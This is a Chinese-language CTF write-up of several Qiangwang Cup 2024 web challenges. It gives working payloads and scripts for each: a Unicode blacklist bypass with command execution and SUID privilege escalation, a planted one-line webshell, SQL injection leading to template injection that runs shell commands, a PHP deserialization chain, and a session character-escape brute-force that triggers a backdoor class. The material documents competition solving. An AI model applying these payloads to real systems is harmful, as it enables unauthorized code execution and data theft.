强网2024wp
被Web大神带飞,可惜还是差一些进线下。
PyBlockly
用全角的符号(unicode编码)绕过blacklist_pattern检测,首尾各加一个引号去闭合,my_audit_hook处限制了event_name个数和blacklist,用__builtins__.len=lambda x:0
覆盖len为不大于4的数即可
ls一下
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"'\n__builtins__﹒len=lambda x:0;__import__('os')﹒system('ls />/tmp/ukfc')\nprint(open('/tmp/ukfc')﹒read());'"}}]}}
直接cat /flag没权限,suid提权
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"'\n__builtins__﹒len=lambda x:4;__import__('os')﹒system('find / -user root -perm -4000 -print>/tmp/ukfc')\nprint(open('/tmp/ukfc')﹒read());'"}}]}}
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"'\n__builtins__﹒len=lambda x:4;__import__('os')﹒system('/bin/dd if=/flag>/tmp/ukfc')\nprint(open('/tmp/ukfc')﹒read());'"}}]}}
xiaohuanxiong
admin路由下可以未授权访问和修改内容,直接写个一句话木马进去,根据源码可以找到这个是写到/config/payment.php里面,可以访问
Snake
写一个脚本去拿到五十分,值得注意的是这里xy坐标颠倒,并且不带cookie的话最后一步会报500错误
snake.py
from http.cookiejar import CookieJar
import json
import time
import requests
from solve import solve
aim_url = "http://eci-2ze762llzxw5u6zlscn4.cloudeci1.ichunqiu.com:5000"
food = [0, 0]
snake = [[0, 0]]
cookies = {"session": "eyJ1c2VybmFtZSI6InVrZmMifQ.ZydfPg.QhNexeoopfDvXfF7C1roaBEWoFQ"}
data = {"username": "test"}
def send_http_json(data):
response = requests.post(aim_url + "/move", json=data, cookies=cookies)
re = response.text
if "win" in re:
print(re)
return {}
try:
return json.loads(re) # 尝试解析为 JSON
except json.JSONDecodeError:
print("Non-JSON response received:", re) # 输出非 JSON 响应
return {} # 返回空字典或适当处理
data = {"direction": "RIGHT"}
res = send_http_json(data)
if res: # 检查 res 是否包含内容
food = res.get("food")
snake = res.get("snake")
scor = res.get("score", 0)
ans = ''
data = {"direction": "RIGHT"}
while ans != 'game_over' and ans != 'win':
print("Food position:", food)
print("Snake position:", snake)
funclist = solve(snake, food)
print("Total steps:", len(funclist))
cnt = 1
for i in funclist:
if scor == 49:
print(res)
print("\r ", end="")
data.update({"direction": i})
res = send_http_json(data)
if not res:
print("Empty or invalid response, terminating.")
break
ans = res.get('status', '')
print("\rStep:", cnt, end="")
cnt += 1
time.sleep(0.05)
if "score" in res and res["score"] == scor + 1:
print("-----------PASS-----------")
scor += 1
print("Score:", scor)
food = res["food"]
snake = res["snake"]
else:
print("-----------ERROR-----------")
print(res)
break
solve.py
from collections import deque
class Snake:
def __init__(self, snake):
self.body = deque([])
for i in snake:
self.body.append((i[1],i[0]))
self.length = len(snake) # 蛇的初始长度
self.direction = (0, 1) # 初始方向向上
def move(self):
head_x, head_y = self.body[0]
new_head = (head_x + self.direction[0], head_y + self.direction[1])
self.body.appendleft(new_head) # 在头部插入新的位置
# 如果蛇没有吃到食物,删除尾部
if len(self.body) > self.length:
self.body.pop() # 删除尾部
def change_direction(self, new_direction):
# 确保方向不能直接反转
if (self.direction[0] + new_direction[0] != 0) or (self.direction[1] + new_direction[1] != 0):
self.direction = new_direction
def grow(self):
self.length += 1 # 增长蛇的长度
def get_body(self):
return list(self.body)
def get_head(self):
return self.body[0]
DIRECTIONS=[(0, 1), (1, 0), (0, -1), (-1, 0)]
def is_valid_move(snake_body, new_pos, grid_size):
return (0 <= new_pos[0] < grid_size[0] and
0 <= new_pos[1] < grid_size[1] and
new_pos not in snake_body) # 不碰撞自身
def bfs_path_planning(snake, target, grid_size):
queue = deque([snake.get_head()])
visited = set(snake.get_body())
parent = {snake.get_head(): None}
while queue:
current = queue.popleft()
if current == target:
path = []
while current is not None:
path.append(current)
current = parent[current]
return path[::-1] # 返回反向路径
for direction in DIRECTIONS: # 四个方向
new_pos = (current[0] + direction[0], current[1] + direction[1])
if is_valid_move(snake.get_body(), new_pos, grid_size) and new_pos not in visited:
visited.add(new_pos)
parent[new_pos] = current
queue.append(new_pos)
return None # 找不到路径
def add(a,b):
return (a[0]+b[0],a[1]+b[1])
# 示例使用
def solve(snakelist , foodlist):
grid_size = (20, 20) # 网格大小
snake = Snake(snakelist)
target = (foodlist[1],foodlist[0])
# 计算路径
path = bfs_path_planning(snake, target, grid_size)
# 打印结果
if path:
print("找到路径:")
for i in path:
print("[",i[1],",",i[0],"]",sep="",end=",")
print()
else:
print("没有找到路径")
funclist = []
for i in range(len(path)-1):
if (add(path[i],DIRECTIONS[0]) == path[i+1]):
funclist.append("RIGHT")
elif(add(path[i],DIRECTIONS[1]) == path[i+1]):
funclist.append("DOWN")
elif(add(path[i],DIRECTIONS[2]) == path[i+1]):
funclist.append("LEFT")
elif(add(path[i],DIRECTIONS[3]) == path[i+1]):
funclist.append("UP")
return funclist
if __name__ =="__main__":
foodlist=[3, 3]
snakelist=[[9, 10], [9, 11], [9, 12], [9, 13], [10, 13], [11, 13], [12, 13], [12, 12], [12, 11], [12, 10], [12, 9], [12, 8], [11, 8], [10, 8], [9, 8], [8, 8], [8, 9], [8, 10], [8, 11], [8, 12], [8, 13], [8, 14], [8, 15], [8, 16], [8, 17], [7, 17], [6, 17], [6, 18], [7, 18], [8, 18]]
solve(snakelist , foodlist)
爆出来路由/snake_win?username=,一眼注入,Sqli to SSTI
/snake_win?username=1'+union+select+1,2,"{{self.__init__.__globals__.__builtins__['__import__']('os').popen('cat+/flag').read()}}"--+
Password Game
import requests
headers = {
'Host': 'eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua': '"Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com/index.php',
'Origin': 'http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com',
'Priority': 'u=0, i',
'Cookie': 'PHPSESSID=tuonq8vj283dhvvbi6cke0dkjo',
'sec-ch-ua-platform': '"Windows"',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
}
data2 = {'password': 'Aa917855555'}
response2 = requests.post('http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com/game.php', headers=headers, data=data2)
raw_content = response2.content
print("Raw response content:", raw_content)
拿到源码
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
password=O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"2024\71wb";s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}88831883250887
platform
爆破目录,发现www.zip
,解压之后拿到源代码。
对源代码进行分析之后,考虑利用点应该是session反序列化。
在class.php当中发现后门类
在本地调试,观察session序列化字符串的结构。
考虑,将password部分写入反序列化利用链,触发后门函数。
例如,在password当中输入。
";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami
;";}
这时,本地session将变成。
user|s:5:"admin";session_key|s:35:"bnKNfuoXL233EOPFgJXs54nSzl4dkJNK754";password|s:88:"";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami
;";}";
要想写入的内容在反序列化时被触发,这要构造username当中的内容实现字符逃逸,将无关字符作为username当中的内容,而把后边的利用链逃逸出来。
无关内容,如上所示,然后计算无关内容的长度,借助函数当中过滤掉的关键词进行逃逸。
但是,在靶机当中会生成一个长度随机的session_key作为干扰,但是session_key的长度处于1-50之间,因此我们可以假定session_key的长度,而后进行爆破。
import requests
data = {
'username':'systemsystemsystemsystemsystemsystemsystemsystempopenpopen',
#'password': '''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami;";}''',
#'password':'''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo ls /;";}'''
'password':'''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"echo /readflag;";}'''
}
while True:
s = requests.session()
r1 = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/index.php', data=data, allow_redirects=False)
r2 = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/index.php', data=data,allow_redirects=False)
r = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/dashboard.php', allow_redirects=False)
print(r.text)